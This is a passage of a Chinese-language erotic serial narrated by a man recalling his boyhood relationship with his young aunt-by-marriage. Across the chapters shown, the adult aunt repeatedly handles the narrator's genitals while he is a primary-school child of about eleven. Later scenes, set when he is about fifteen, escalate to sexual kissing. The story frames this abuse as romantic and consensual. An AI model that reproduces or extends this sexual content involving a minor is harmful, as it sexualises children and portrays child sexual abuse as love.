图片载入中

最是一帘幽梦(我和舅妈)第一部 1~4 完

特大字】 【大字】 【中字】 【小字

第一章 那年年少,你就闯进了我的心

第一次见到君儿是在小学三年级的时候。那年10岁,正是朦朦胧胧的年纪,就感觉她好漂亮,符合当时的我对女性的一切幻想。

她跟她的两个姐姐在一起说话,我跟同伴玩耍的时候跑过她们身边,同伴摔了一跤,我扶他起来,抬头就看到了君儿。

她对着我笑,又跟姐姐们说:“咱村子里谁家的小孩啊,男孩女孩,真俊。”有些柔弱,有些凄美。

君儿大姐陆九月笑着说:“他外甥啊,你这都是订婚酒了,连外甥都不晓得咯。”

君儿听了似乎蛮不高兴,小声跟两个姐姐说着什么。我就突然恶作剧一般的喊了一声:“舅妈,大娘娘,二娘娘。”

君儿就突然脸红了,狠狠地瞪了我一下。那年君儿18,成了我的舅妈。

舅妈跟舅是娃娃亲,因为外婆生病没有钱供舅读书了,舅辍学几年,就跟舅妈结婚了。

舅年轻的时候在我的印象中是个书呆子,还有些小气,是他们村第一个戴近视眼镜的人。

我们属于北方比较穷的村庄,读书是唯一的出路,戴眼镜在那时的人们眼中就是好学生,我并不这么认为。舅妈也不这么认为,她说戴眼镜就看着没有了男人气了,柔柔弱弱的。 说起外婆,心中总会甜甜的。她最宠爱的孩子就是我,从记事起一有时间就往她家里跑,我家到外婆家里只行两个小时,从不觉得累,总是乐此不彼。这也间接导致了我跟舅妈的这段缘分(是孽缘吧,我只是不想承认)。

言归正传:

小学五年级的时候,表妹一岁了,但是外婆病情也开始加重,我一有时间就去看外婆。

但是外婆因为得的是肺结核,舅就不让我跟外婆外公一起睡了,让我跟他们还有小表妹一起睡。我挺不愿意的,当晚就闹了脾气,外婆就哭,舅妈摸着我的头说小林你也长大了要听话。我还介意她听嫁给舅的事之后不高兴的事情,不想在她面前露怯,所以就答应了。

期末全县统一考小学升等考试,我不负众望考了全县第三名,其实我可以考第一的,因为考试前喝的水有点多,考试由紧张就直接尿教室里了,害得我数学试卷没检查。

那时候舅妈见人就取笑我,说看我外甥多厉害尿教室了还考了全县第三名。我都发了好几次誓说没人晓得,她都给我不保密。

暑假我就像往常,一下在家照顾外婆跟表妹,舅他们就去地里干活。

直到那天,平静的生活就我亲手打破。

外婆在外屋我躺着,小表妹在里屋睡觉,没有好看的电视,无所事事的我就去舅的书柜中找《读者》看,然后就找到一本带锁的女士日记本。它应该是舅妈的,没想到舅妈还写日记,想都没想想就打开了(开带锁的日记本是老爸教我的,他老打我的日记本,用针一挑就开了)。日记是从表妹出生之后开始记的,有几段内容记得比较清楚:

孩子出生了,他起的名字,很俗,但是无所谓了,孩子平安幸福就好。她不要像我,要过自己喜欢的生活。要像小林,长得俊,还要学习好。

小林今天哭了,因为不能跟婆婆一起睡。我突然有些心疼他,这个世界,亲人最重要,这也可能是我不反抗这段婚姻的原因吧。

两年了,地里面劳作很苦,有些想在县城开缝纫店的时候,但是看到倩儿,就感觉无所谓了。他小气,不浪漫,种种,但始终是一个顾家爱家的人,这对一个女人来说应该够了,够了吗?

小林考的很好,但是竟然考试的时候紧张尿教室里了,笑死我。两年长好高了哦,快跟我一样高了,孩子就是长得快,所以倩儿要快点长哦。

……

我蛮感性,正好前几天刚看完了路遥的《平凡的世界》,看了日记之后所有的书生意气就一起爆发了,然后就哭,突然就理解她了,舅不浪漫不阔气,一点都不中她心,但是她还是嫁了,父母之命媒妁之言害死人。

晚上的时候就一直想着日记本的事,很晚都没有睡得着,迷迷煳煳中就听到舅妈的声音:“小林在呢?”

我很紧张,又隐约期待着什么,慢慢调整唿吸。一会儿,就感觉一只手摸进我被窝,摸到我的肚子,手很软,手腕温热,我知道这是舅妈的手,我吓得抖了一下,就感觉手停住了,不知为何小弟弟就突然翘的直直的,我更是紧张,想翻身挡一下,又不敢。那只手突然径直伸进我内裤,掐了我硬邦邦的小弟弟一下,又握了一下,又狠狠的掐了一下才收回去。

那晚不知道什么时候睡着的,第二天就梦遗了,第一次,囧的要死。

我十点钟才醒来,表妹不在,应该是被他们带到地里去了。

起床第一件事就是洗内裤,遗精我不陌生,因为我比较喜欢看书,从书里就晓得有这么一回事,只是怕被舅妈看到,把内裤晒到外院一堆用来烧饭的干树枝的背面。

十一点,舅妈带着表妹就回来了,我有些不敢看她,抱过表妹就准备跟着她去厨房,像往常一般帮着她烧火做饭。

她转过身,手里边拿着我晒到外边的内裤,说:“干了,差点被风吹走了。”

我脸红了,拿过内裤转身进屋放到我的包里。

不晓得是不是因为烧火的原因,我的脸一直是热热的,低着头一直往灶里放树枝。

“小林,火太大了,少放点树枝。”舅妈说。

“哦。”我把火压得小一点,然后抬头看她,就看到她对我笑,然后摸着我的头说:“没的事,舅妈不会跟别人说的。”

我低了下头又抬起来,想说什么又说不出口,她好像知道我要说什么一般,说道:“你舅我也不会说的。”

我点点头,小声嗯了一声。她又摸了摸我的头。

以后我就特别注意舅妈,她有一米六高,现在看来是美女的标准了,但是对农村地里干活的妇女来说,有些瘦了。她有许多好看的衣服,大多都是自己做的,但是只有去县城才穿。

几天之后因为地里庄家收的差不多了,舅就去出门打工去了。跟舅妈独处,我有些高兴。

之后连着几天阴雨绵绵,无所事事的我,就去找这边的小孩玩耍。天黑才回家,发现门锁了,我就喊舅妈开门。

舅妈是跑着来开门的,开了门,我看到她只穿着一条吊带,长长的一直到膝盖。

她开了门叫我把门锁了就跑着回去了,我把门锁了进了里屋,看到地上一大盆水才晓得她是在洗澡,小表妹在炕上睡着了。

“舅妈,你洗完了没,我出去玩哈子再回来。”

“没事,完了,你把桌上那盆水跟我淋一下头发。”舅妈坐在椅子上低着头,指了指桌上说。

我拿起水盆给她浇头发,就看到她吊带包不住的胸脯,很大一片,白白的,随着洗头的手一晃一晃的,我的脑袋就白茫茫一片。

“小林,小林,傻了啊。”我回过神就听她说:“你也洗洗吧,这水热着呢。”

看到舅妈一边拿毛巾撮头发一边指着水盆,两颗乳头尖尖的,格外显眼。我低下头说好。

我们这边水特别珍贵,以前都是我先洗了以后舅舅就着二道水就洗。我三下五除二脱的只剩一条内裤,一会儿就洗完了。

正好舅妈擦了头发抹了油。我们一起把水端出去倒了,离她近点就闻到淡淡的香味儿,至今不晓得这是什么油,这种味道至今带我脑海中徘徊,后来我问她什么油,她也忘记了。

可能是留在我脑海中的是那种少年情愫的感觉吧。

表妹醒了,哭着要吃奶,舅妈很生气说:“这么大了还吃奶,疼死了,小林你把辣椒面拿过来。”

我去厨房把辣椒面拿过来,舅妈拿掉左肩的吊带,漏出白白的乳房,很大,翘翘的,乳头圆圆的,红红的,不像很多妇女那般黑。她见我拿着辣椒盒在那里傻站着,就说:“抹点,倩儿尝着辣以后就不敢要奶喝了。”

“嗯。”我手指蘸了辣椒就乳头上抹,因为紧张蘸的有点多,辣椒油顺着奶尖一直往下流,我慌了,就赶紧换了一只手擦辣椒油。那是我第一次摸舅妈的乳房,软软的,热热的。

“小鬼灵精,你是要涂我一肚子吧。”舅妈笑着说。

我说:“不是。”

舅妈说:“洗洗手,那个热毛巾来。”

我拿着毛巾去厨房,洗了手烫了毛巾拿进里屋,看到表妹果然不喝奶了,被舅妈哄着睡着了。

舅妈拿过毛巾当着我的面就擦辣椒油,我也开始胆子大了,不躲着,就看,我知道舅妈不骂我。

舅妈的皮肤白白的,没有像其他的农村妇女那样黑,我才想起舅妈每次干活都是穿的厚厚的,戴着遮阳帽跟手套,舅妈很爱美呢。

舅妈擦了之后,我就把毛巾拿出去洗了,回来看到舅妈趴在炕上写日记,我就拿一了本故事会随便翻着看。

听着舅妈细细的唿吸声,想着她的乳房,白白的肚子,一个字都看不进去。 “小林你不学好,看的这是什么啊。”舅妈凑近我,指着书说。

我顺着他的手指看到书上写着这么一段话:‘她的胸脯即使被衣服包裹着,都能感觉到他的大,两只小白兔似乎要甭破衣服跳出来一般。’我都没法解释,只是低着头不说话。

“现在还小,不要看这种,要好好学习,长大才能看。”舅妈摸着我的头说。

“嗯。”我转过头对他说,看到她的眼睛大大的,亮亮的。

第二天,雨似乎没有停止的意思,我因为不听舅妈话少穿了衣服就感冒了。舅妈拿感冒药给我吃了,到下午还是不见好,舅妈说快要开学了,还不见好就要让我爸爸带到县城里去看看。我蛮不想的,但是没办法。

晚上舅妈让我跟她挤一个被窝,盖两床被子,这样能出汗,感冒好的快一些。把表妹哄睡着了,舅妈就催着我睡觉了。我都不知道手放哪里,像立定一般的放的直直的。

舅妈让我早点闭着眼睛睡觉,但是我一点都没有睡意,感觉到她一会儿摸摸我的头,一会儿试试我的被子盖好没有。小弟弟又翘起来了,我有些不好意思了,就转过身。

“别乱动,小心被子里面进了风。”

舅妈说着就替我掩被子,我能清晰的感觉到她的乳房挨着我的背,软绵绵的。舅妈掩了被子往回收手的时候就碰到了我直挺挺的小弟弟。

“小屁孩子,感冒了还想乱七八糟的事情。”说着就掐我的小弟弟。

“我不知道怎么回事,它就这样了。”我小声说。

“没事,好好睡觉就好了。”

舅妈的声音软软的,气吹到耳朵,痒痒的。说着就把手伸进我的内裤,压了一下,小弟弟条件反射地弹了一下。舅妈就握住它,上下套了两个,我感觉更热了,有些发抖。

“舅妈,我的鸡鸡上怎么会长毛呢。”我小声问。

其实我知道长大都会长毛,上厕所的时候就看到同学的长了很多,我的只有几根。

“长大了都会这样的,别害怕。”

我能感觉到舅妈的声音有些颤抖。舅妈说着就在我小弟弟根部找到几根毛毛,一根根捋着。

“睡觉吧,明天醒来感冒就好了。”舅妈似乎要把手取出来。

“舅妈,你抱着我睡,好不好。”我说。

舅妈半响没有说话,然后就感觉到她一直胳膊从我脖子下边伸过来拦着我,一只胳膊从我腰穿过去伸进内裤,握住我的小弟弟,轻声说:“睡吧。”

我做了一个梦,梦见我跟一个女人一起抱着,抱得很紧,紧的快要窒息。然后就感觉我的小弟弟抖了好几下,我知道我又梦遗了。

我准备要脱掉内裤的时候,感觉到一只手松开了我的小弟弟,我猛然晓得我还在舅妈的怀里呢,我梦遗了舅妈一手,舅妈才醒来了。

我不敢醒来,闭着眼睛装睡。舅妈在我内裤上擦了擦手,然后轻轻脱掉我的内裤,替我擦了小弟弟上的精液,然后握住它摇了摇,我忍着不让它硬起来。

被子里一股冷风吹进来,舅妈起身了,我听到她远去的脚步声,长长深了一口气,才准备起床就听到脚步声又来了,只有继续闭着眼装睡。

舅妈轻轻躺下,拿一件内裤慢慢替我穿上,然后手伸进去,握着小弟弟,还没等舅妈像先前那样摇,就不受控制的硬了。舅妈怔了一下,没有拿回手,说:“小林,你醒了啊。”

我轻轻嗯了一声:“舅妈,我感觉我感冒好了。”

“是啊,感冒好了你才会做坏事,是吧?”舅妈拍了一下小弟弟又说:“感冒好了就好,我都担心死了!

我转过身,看着舅妈的眼睛说:“舅妈,你对我真好。”

舅妈拿出握着小弟弟的手,摸摸我的头说:“傻孩子。”

“舅妈,几点了,什么时候起床。”

“才六点钟,还在下雨呢,再睡会儿。”

舅妈说着就替我掩好被子,手抱着我的屁股,往她哪里紧了紧。我的脸贴着舅妈的脖子,感觉小弟弟贴着舅妈的肚子,软软的,快要陷进去了。

“你这咋这么不老实呢。”舅妈手伸进内裤,掐了一下我的屁股,酥酥麻麻的。

“我不知道,一挨着你就这样了。”我在被窝里闷声说到,嘴贴着舅妈的脖子,感觉到她的脖子热热的。

“你长大了,以后不能跟舅妈一起睡了。”舅妈舒了一口气说。

听到这个我很伤心,感觉这可能就是最后一次跟舅妈一起睡觉了。伸过胳膊抱住了她的腰,抱得紧紧的。

舅妈见我不说话抱紧她,似乎感觉到了我的不舍,许久才轻声说:“那你要听话,不要让别人知道。”

我很高兴,点点头,又说:“嗯。”然后恶作剧的舔了一下她的脖子,“舅妈,痒不痒。”

“不痒。”舅妈小声说,声音有些发颤。

我又舔了一下,“痒不?”

“不痒。”

我拿手在她咯吱窝捞了一下,舅妈说:“痒啊,乖乖睡觉,不要把倩儿吵醒了。”

第二天我还是回去了,爸爸来接我的,爸爸是做药材生意的,很多时间在外边跑,平时没有时间管我,这次回来肯定是要把我带回家准备上学的事情了,用老爸说快要开学了,要回去看看书收收心。

我满脸的不舍,舅妈就摸着我的头说:“回去好好读书,长大了出息了带舅妈去旅游。”我点头说好。

我家里在农村,因为考试考得比较好,老爸就动用他做药材生意的同事联系到联系教育局的人,把我转到县一中去读书了。第二章 shao年的梦,梦醒还好你还在

现在想有些事的发生总是因为各种巧合,要不是有所谓对的时机,君儿对于我都可能只是年少时的一个旖旎的梦而已。

初一开始上课就忙到没时间想别的了,那时候又小,情情爱爱的想想就被书海淹没了。

中学那时候学校是没有宿舍跟食堂的,都是在外面租的房子自己做饭。因为回家路途较远不利于学习,开学就一直在县城待着,中间舅妈来看过我几回,有的时候一个人,有的时候跟同伴一起,给我做了饭就回去了。

寒假学校组织去上海学习,我因为学习好,学校点了名要去的。就这样一直到初三结束,总是因为这样那样的事情,去不了舅妈家里,自己的家里都只去了一次,而且是为搬家,老爸在县城买了房子,我自己的小窝也没了。

初三那年倩儿就来县城上幼稚园了,我家房子就在幼稚园旁边,倩儿就被老妈带着。所以舅妈倒是常来县城,每次来都会等我放学看看我,印象最深的还是摸我的头,叫我好好学习,以后带她去旅游。

她来我都会很高兴,拉着她说这说那的,因为我们家一帮子大老粗,包括以前还是书呆子现在跟着老爸做生意的老舅,只有舅妈平时看看书看看电视,能跟上我的思想。

记得有一次我跟她说曾经看过她的日记,她笑着说没关系那本日记丢掉了现在不写日记了。

我说那你忘了我咋办呢,她说记着呢。我就想她是不是也还记着那晚的事。

初三毕业,我一如既往考的很好,市统考27名,记得这好像是我中学开始市统考最低的名次,但这在当时简直就是我们村的传奇,用外婆的话来说就是我们祖坟上冒青烟了。可是,在我成绩公布的第四天,外婆就离开我了。

那天我在同学家里跟他借他哥哥高1的课本,准备暑假准备预习一下,刚背上书包,就看到老妈靠着同学家门哭着跟我说外婆走了,要我赶紧跟他们一起去外婆家。

当时我眼泪就下来了,我简直不能接受,背着书包就跑,一路一直哭,到外婆家门口才晓得还背着书包,扔掉书包就跑到停着外婆的厅房的香火前……那几天就一直哭,看到死去的外婆满脸皱纹的脸就哭,听到院子里木匠们拿锤子钉棺材的声音就哭,想到外婆对我好的点点滴滴就哭。

下棺后的第八天,亲戚朋友们陆续都走了,爸爸跟舅去处理生意上的事了,外公、倩儿跟着老妈去县城我家住了,因为这边教育局规定,小孩要读县城的小学就必须要有县城的户口或者房产证,所以舅在老爸他们的劝说下,也狠了心在县城买了房子(男人总是在结了婚有了孩子之后才算是真正的男人,才会狠拼,才会担当。这一点,我后来才体会到)。

我不想去县城,因为声音哑了就摇头表示不去,老妈说让我帮舅妈收拾东西,过段时间好搬家。之后我跟舅妈独处的时候,我才注意到舅妈也憔悴多了,只是看着还是几年前的样子,不显老。

说是收拾东西也没啥收拾的,再说舅妈知道这几天我一看到关于外婆的一些物件都会难过,所以都不让帮忙。

因为嗓子疼,每天除了喝蛋汤或者粥就只有看电视。这天中午午睡起床看到舅妈不在,想着她可能在我舅当宝贝一样的那两亩栽着当归苗的地里干活。我沿着小路往当归苗地里走的时候,才发现七月份的家乡是特别美的,那时候还不懂的跟车水马龙的城市相比乡下的宁静,只是听着杨柳树被微风吹着轻轻地摆沙沙地响,看着野菊花迎着太阳静静绽放,一下子就感觉心情好多了。

舅妈果然在这里,像是有感应一般的,我还离她很远的地方她就看到我跟我招手。

我走过去,看到她穿着一件碎花的长袖衬衫戴着遮阳帽,背着喷雾器对着当归苗打农药,我就说舅妈我来帮你。

舅妈看我似乎开朗多了就说行,你背着喷雾器打我拿着喷头在前边浇。听着舅妈温柔似水的声音,我就想起来那年在被子里被她抱着说话的情形,然后我们就都没有说话,沿着当归苗的行子打农药。

“君儿,这是你外甥吗?都长这么大了啊,多懂事还给你帮忙,我们家琪琪放假了就只晓得呆在家里看电视。”路边上刚割猪草回来的邻居刘婶儿说。

“是啊,小林很懂事呢,学习又好,这次全市考了27名呢。”舅妈似乎蛮高兴,跟刘婶儿聊着天。

“唉吆,这么厉害啊,那要小林给我们家琪琪教哈课本呢。小林高几了?几年不见都长得比你高了。”刘婶儿说。

“才初三毕业呢,不过这孩子就是长得快,一转眼就比我高了,我都老了。”舅妈说。

“你老啥呢,每次下地干活都包的严严实实的,倩儿都那么大了,你还是刚结婚那时的样子,哪像我们这些婆娘们都被太阳晒得跟乌鸦一样黑了。你忙你的吧,农药粘的时间长了就难受,赶紧把剩下这点搞完了回去洗洗,我先走了。”刘婶儿说完就背着猪草回去了。

看着刘婶儿回去了舅妈转过头就看到我在冲她笑,她问我笑啥呢,跟个傻瓜一样的。

我说:“舅妈你这一直像这般年轻,到我二十岁的时候,咱俩站一起我喊你舅妈别个肯定不相信。”

舅妈瞪了我一眼说:“你是想说我是妖精呢还是希望我赶紧长成老太婆呢。”

我想了想,还是不晓得怎么回答。

当归苗上莹莹的水珠沾到裤脚,湿湿的搞得我很难受,就蹲下卷裤腿儿,却不想舅妈不晓得我蹲下,被我突然停下来的惯力拉了一下,脚下一滑,就冲着我倒下来。勾着头卷裤腿的我粹不及防就被舅妈一屁股压倒,分明感觉到舅妈的臀瓣儿软软地压着我的脸,我试着往上抬了抬,舅妈的臀瓣儿就陷了陷又压了下来,热热的。

舅妈似乎哎呦一声,想站起来但是脚下全是水又滑到了,压我身上,舅妈一着急就拿手想扶着我的肩再次站起来,但是我身上全是的水,舅妈又戴着手套,没抓住我肩头,直接一把抓到我裆下。

“嘶。”我痛着喊了一声,舅妈抓到蛋蛋了,我再也顾不上她就直接弓着身子喊疼。等疼痛减轻了才感觉到舅妈轻轻地拍着我的背,转脸就看到她满脸的关切。

“不疼了,好了。”

“来,我扶你站起来。”舅妈已经脱掉了手套,双手扶着我的胳膊,凉凉的。

“好了,我们继续打吧,赶紧打完。”我跺跺脚说。

舅妈拍着我身上的泥土,说:“打什么呢,你看对着农药的水全部都撒到我们身上了,赶紧回家洗洗去。”

我这才发现全身都湿透了,裤子里湿漉漉的,再看舅妈也是全身湿透,碎花长袖衬衫黏着里面的吊带,印出来胸膛的轮廓,又圆又大。转过脸当做很自然地脱掉上身衣服,说:“这农药水黏着就是难受,咱回去吧,也不剩多少了。”

“衣服我帮你拿着吧,你拿着喷雾器,前边走。”舅妈说。

我勾着腰拿了喷雾器,起身的时候转身看了她一眼,见她拿我的衣服当着前边,什么都没看到,就迈着步子往回走。

农药沾到身上对皮肤刺激性特别大,所以我想让舅妈先洗洗身子,就跟她说我去琪琪家玩去。

舅妈说:“玩一下就回来,要把沾到身上的农药洗了,不然皮肤会发炎。”

我答应了一声就出去了,出门就听到舅妈关门的声音。我没有去琪琪家玩,不想听刘婶儿唠叨也不想跟琪琪这个女孩玩,我就去果树园里摘了几个梨子,要吃的时候闻到手上浓浓的农药味儿,就不敢吃了,拿着梨子在果子园里转悠。

站在七八月的北方小山村的农家果园中,抬头望向穿过树叶的斑驳阳光,偶尔听到几声鸡叫狗吠,心中一片安宁,就突然感觉自己是长大了,属于我的生活舞台来临了,要享受生活,尽情舞蹈。

感觉时间差不多了就往舅妈家里走去,站在门前轻轻推了推,发现门已经不上锁了就推门进去。

舅妈在院子里,看她穿着蓝色牛仔裤白色衬衣,坐在椅子上晒头发,看到我来了就说:“我把水已经对好了,你赶紧去洗洗,洗仔细一点,免得皮肤痒。”

我说好,把手中摘了没吃的梨子放到她怀里,就转身走进卧室。

农村是没有专门的洗澡房,一般都是在卧室洗。在目前只有我跟舅妈两个人睡的卧室,我脱掉已经干了的裤子,放到到椅子上。拿手从地上的盆子里往身上浇水,到淋小弟弟的时候才发现龟头红红的,有些痒,应该是背喷雾器的时候农药流到了,我有些怕,这可是命根子,要是出了什么事那可怎么办呢。

我就拿舅妈给我备的另外一盆清水冲洗,水用完了还是没痒得很,龟头更红了。我吓得要死,脱口就喊舅妈。

“怎么啦?”舅妈进来看到我坐在椅子上拿衣服盖着裆部,摸了摸我黏黏的背,说道:“你没洗完啊,怎么就把水全部倒进盆子里了。”

“舅妈,你给我再拿一盆水,多点。”我说。

“怎么啦?这水再多从盆子里溢出来了。”舅妈一脸疑问。

我又害怕又害羞,舅妈盯了我一会儿我才说:“那里好像被农药沾到了,有些疼呢。”

舅妈一听到这个就紧张了,就要拿开衣服看怎么回事。我条件反射般地拿手揊了一下,舅妈就拍了一下我的手,说:“小屁孩子还懂得害羞了,忘记以前还黏着跟我睡觉了哈,拿开手。”

顿了一下,舅妈又让我闭上眼睛。我一听就脸红了,我也不只是难为情,只是那时候心里害怕,没顾得上想别的,听话地拿开手,闭上眼睛。等了差不多有一分钟左右还不见舅妈说话,只是听她唿吸似乎有点粗,喷到我的大腿上,痒痒的,倒是忘记龟头处的痒了。

我闭着眼问舅妈严重不?然后就感觉她拿手指肚子摸着龟头,有指甲划过,倒是更痒了,我缩了一下肚子,似乎痒痕一直到肚子里。就听舅妈边离开边说不严重,我去拿温水冲一下。

舅妈出了门我睁开眼看了看在密密丛丛的毛包裹中的小弟弟,长长地吊着,龟头向下,红红的,刚想到刚才舅妈拿指头摸过的感觉,舅妈就端着一盆子水进来了。我把目光移向别处不看她,也不闭眼,她也不说话,径直蹲到我旁边,说要是感觉有点烫的话就说。

我说嗯,回过头就看到舅妈一手拿着装着温水的瓢,一手伸向我胯下,把我的小弟弟握在手中,拇指和食指放在龟头上,拿瓢给龟头上淋了水之后就马上用拇指和食指搓,然后问道:“烫不?” 舅妈的手感觉小小的,手掌有些茧子,手指倒是长长的。她见我不回答,抬头看我发现我眼神直直地盯着她拿着小弟弟的手就脸红了,这下倒是没有掐我,再次问道:“水烫不烫?”

“不烫。”

舅妈就继续一手拿瓢淋水,一手握着我的小弟弟揉搓。后来我就感觉不到疼了,只是越来越麻越来越痒,然后小弟弟就很争气的金刚怒目般地猛地挣脱舅妈的手心翘起来了,龟头上的水珠蹦到舅妈的脸上,我直接傻到那里,张张口,没听到自己说没说话。

舅妈更是被我这吓到,愣在那里。不晓得是几秒钟还是几十秒钟,我才说:“舅妈别掐,我不是故意的。”

“噗嗤。”舅妈笑了,明显她也想到了关于“掐”的这个典故,然后就冲着我的我弟弟弹了一下,说:“能这样,那就说明没事了,还疼不?”

“疼。”

“还要淋水不?”

“要。”

“给你瓢,自己拿着淋吧。”说完就起身往门外走去。我看她似乎想要回头看看我,但是可能是感觉到我在看她,停了下就出去了。

吃饭不说话,看电视不说话。

“舅妈,你是不是生我气了。”我趟炕上半天睡不着觉,卷着被子对着她那边斜躺着,借着夜色看她似乎瞪着眼睛望着屋顶,我开口说道。

“没。”

“那你都不理我了。”

舅妈往我这边看了一眼,又转过去看着屋顶,没有说话。

“舅妈。”

“不要喊我舅妈。”舅妈突然说,声音有点大。

我感觉她有些生气,而且这句话在这个情形下都不知怎么回答,我只有不说话。

舅妈似乎叹了一口气,半响才说:“小林,你长大了,有些事你应该懂。所以……”舅妈转了个身,背着我,才继续说:“他有些不行,我看到你长得这么大,比他的都大,所以我才有些失态,这是我的错,我对你是宠爱,是溺爱,没有别的,要是我做的有些事让你有了困扰或者是让你有了其他的想法,对不起。这算是我给你说的一个秘密,就像以前我给你说过的,我不会告诉别人一样你也不要告诉别人。睡觉吧。”

我一下子就听懂了,“他”就是舅,“他”就是他的,“你”就是我的。这些话嗡嗡的在我脑海中转,然后一下子就勾起了我心里压抑了许久的邪恶,我就是那样想的,你也是那样想的吗?

正好开口说点什么,就听到舅妈在哭,似乎是捂着被子轻声抽泣。我一下子慌了,猛地扑过去拿手抹了一把她的脸,全是泪水。

“舅妈,你别哭啊。”我带着哭腔说。

“你不回答我,是不是讨厌我啊,是不是瞧不起我啊,是不是……”

“不是不是,我只是不知道怎么回答。”

“那你肯定就是讨厌我了。”

“我没有,我发誓。只是我想的,跟舅妈说的我的其他的想法是一样的,所以我……”

“别说了,不可能,我们是……”舅妈截断我的话说,但是她的话没有说完就被我擦她眼泪的手捂住了嘴巴。

“求你,别说,说了我就一点念想都没啦。”我说。

舅妈突然转过身,瞪着大大的眼睛看着我,眼神里有震惊,还有些不清不明的期许。

感觉舅妈喷在我脸上的气息变得有些热,我鼓起勇气盯着她的眼睛,她闪躲开了。

“舅妈,今晚我想跟你盖一个被子。”

舅妈不同意不反对,我拿手轻轻试了试她的被子边,没有压住,就钻了进去。腿挨着她的腿感觉到她腿上细细的绒毛,她的腿绷得直直地,有些许颤抖,想再紧贴就听她说:“你转过去。”

我听话地转过身,舅妈很自然的一只手穿过我的脖子一只手伸过我的腰放在小肚上。突然感觉这个情形熟悉又很温馨。

“舅妈,我的很大吗?”

“嗯。”

“有多大?”

放在我小杜上的手伸进内裤,握住它,捏了捏。

“就是这么大。”第三章 那时花开,红杏嫣然烙我心 我叫朱小林,今年30岁,在武汉一家房地产开发公司上班,年收入加奖金14万,算是一中层打工仔,未婚。

她叫陆晓君,今年38,在陕西一个小县城开文体用品店,月收入过万,个体经营,家庭和睦。

相对于现在还算过得去的日子,在心中留下深刻点印象的,还是小时候的生活。伙伴们聚在一起就抓蛐蛐、斗蟋蟀,冬天更好玩,好几家人聚在一起看电视,现在想,每部都能记得。

老家比较穷,月前去过一次,除了修了几条路建了几套房子,生活条件变好了,别的没有啥大的改变。

七月的家乡,绿荫成行,野花烂漫。走在乡间的小路上,心情总是很愉悦,有些烦人的琐事也会随着凉风吹散。

家门口长着几棵杏子树,正是花开时节,微风过后,杏花曼舞。又是七月,又见杏花,只是今年的花开时节只我孤身一人,那年……

*** *** *** ***

“舅妈,我的很大吗?”

“嗯。”

“有多大?”

放在我小肚上的手伸进内裤,握住它,捏了捏。

“就是这么大。”

我绞尽脑汁,终于想到了一句话,说:“舅妈,我想转过来,你抱着我,我也想要抱着你。”

“不行。”

舅妈握着我的小弟弟,紧紧地抱着我说,嘴唇离我的耳朵很近,痒痒的。

我着了魔一般的使劲转过身,舅妈“呀”了一声,见我这般不听话,害羞地转过身子躺正,脸朝着房顶,不看我,握着我小弟弟的手也拿开了,放在我跟她的腿中间,我都能清晰地感觉的她地拳头握得紧紧。

“舅妈,你是不是要打我,我又紧张又害怕的,不许打我哈。”我把手放到她紧握的拳头上,颤抖地轻声说。

舅妈不说话,倒是把拳头松开了,反握住我的手。我像是得到了鼓励一般,把脸靠近她,又说:“舅妈,你是不是也很紧张。”

舅妈猛地转过头,我毫无防备就觉得她的脸庞贴到了我的嘴唇,舅妈的脸庞比我生病发高烧的时候还烫,那时候我的虽然不知道这是为什么,但也不会傻到认为这是感冒了。

就像有一部三流电影的三流台词说的那样,做爱这种事是无师自通的。对性事懵懵懂懂的我的嘴唇被舅妈的脸一贴,真真就如烈火碰到了干柴,全身像是被热水煮沸了一般,猛地抱住了舅妈,把嘴唇贴到了她的嘴唇上。

嘴唇还是贴着嘴唇,但是我却我一口气都不敢出,毕竟我只是一个初三的孩子,就算被舅妈纵容的有些胆子,却也是属于有胆无识的那种。

我闭着气眯着紧贴着舅妈嘴唇的嘴唇,看着舅妈盯着我的大大地眼睛,鼻孔里唿出粗粗的气息打在我的脸上,身体像是要爆炸,小弟弟狠狠地贴着她的大腿,一只手就紧紧地抱住了腰。

“啊。”一分钟后我终于支撑不住,松开她脸朝着屋顶大口大口的喘气,这闭着气亲嘴儿实在是太费力气了。

“呵。”舅妈这时候倒是笑了,眼神温柔的看着大口喘气的我轻声说:“你闭上眼睛。”

我刚一闭上眼睛,舅妈的手就轻轻把我的脸拨过来,没有拿开,手指肚子在我耳垂上轻轻揉了两下,就感觉她的嘴唇慢慢地贴了上来。那是一种什么感觉呢,软乎乎地,比她的脸颊还要烫人。我呆了,原来亲嘴儿是要温柔的贴上了,才不像电视里面演的那样猛地贴上去就咬。

舅妈的两个唇瓣儿夹住我的下唇,用舌头舔了一下,再换上唇,然后我的嘴唇都被她的嘴唇包住,嘬了一下,又伸出舌头从左到右地舔了一下。

我突然感觉好难受,我颤抖地拳住双手,紧紧咬住牙齿,咬的压根都有些胀痛。

这时,就感觉舅妈的舌头已经伸进了我的嘴里,舔着我的牙齿,我大气都不敢出,只怕一不小心就咬到了她的舌头。

“张开嘴。”舅妈拿两只手捂着我的脸,搬正,含煳着说。

我没有听到舅妈说什么,张开眼睛借着夜色,就看到舅妈闭着眼睛翻身正对着我,嘴唇再次印了上来。这次没有吻嘴唇,她的舌头径直打开我的嘴唇就伸进去,我一睁眼倒是忘记了咬牙,就感觉到她的软软的舌头轻轻地敲开了我的牙齿碰到了我的舌。

我的脑袋嗡嗡地响,忘记了我身在何方,只是意识越发清晰,所有的程式都在我脑海中重现。

舅妈开始使劲的拨弄我的舌头,一遍遍地舔、嘬、吸,我终于回过味儿来了,原来亲嘴儿的主要目的是要咬舌头啊。

我开始回应她,在她的带动下就把舌头伸进了她的口中,舅妈愣了一下,张开眼就看到我没有听她的话闭着眼,而是眼睛睁的大大地盯着她,然后我的舌头就被她猛地吸到她嘴里狠狠地咬了一口。舌头都差点被她吸掉了,而且还咬了一口,我疼着眼泪都下来了,但是我都不敢生气,可怜巴巴的望着她。

舅妈似乎也晓得刚才咬的有点重,拿手摸着我的脸,轻声说:“谁叫你不听话。”我委屈地说我没忍住。

舅妈没有听清楚我说什么,就问我说什么呢。我舌头根都疼,放慢语速说:“舅妈,你要把我的舌头吸到你嘴里一个人慢慢玩吗?还是长在我嘴里好,你想呀,我就给你吸。”

舅妈闹了个大红脸,就要掐我,我又说:“舅妈,我刚才睁开眼是没忍住,想要看着你呢。”

舅妈听着我的话,像是回过神来了一般,伸手就把窗帘拉上了,屋子里黑黑的,我再也看不见她,只是听到她的唿吸,就在我身边。

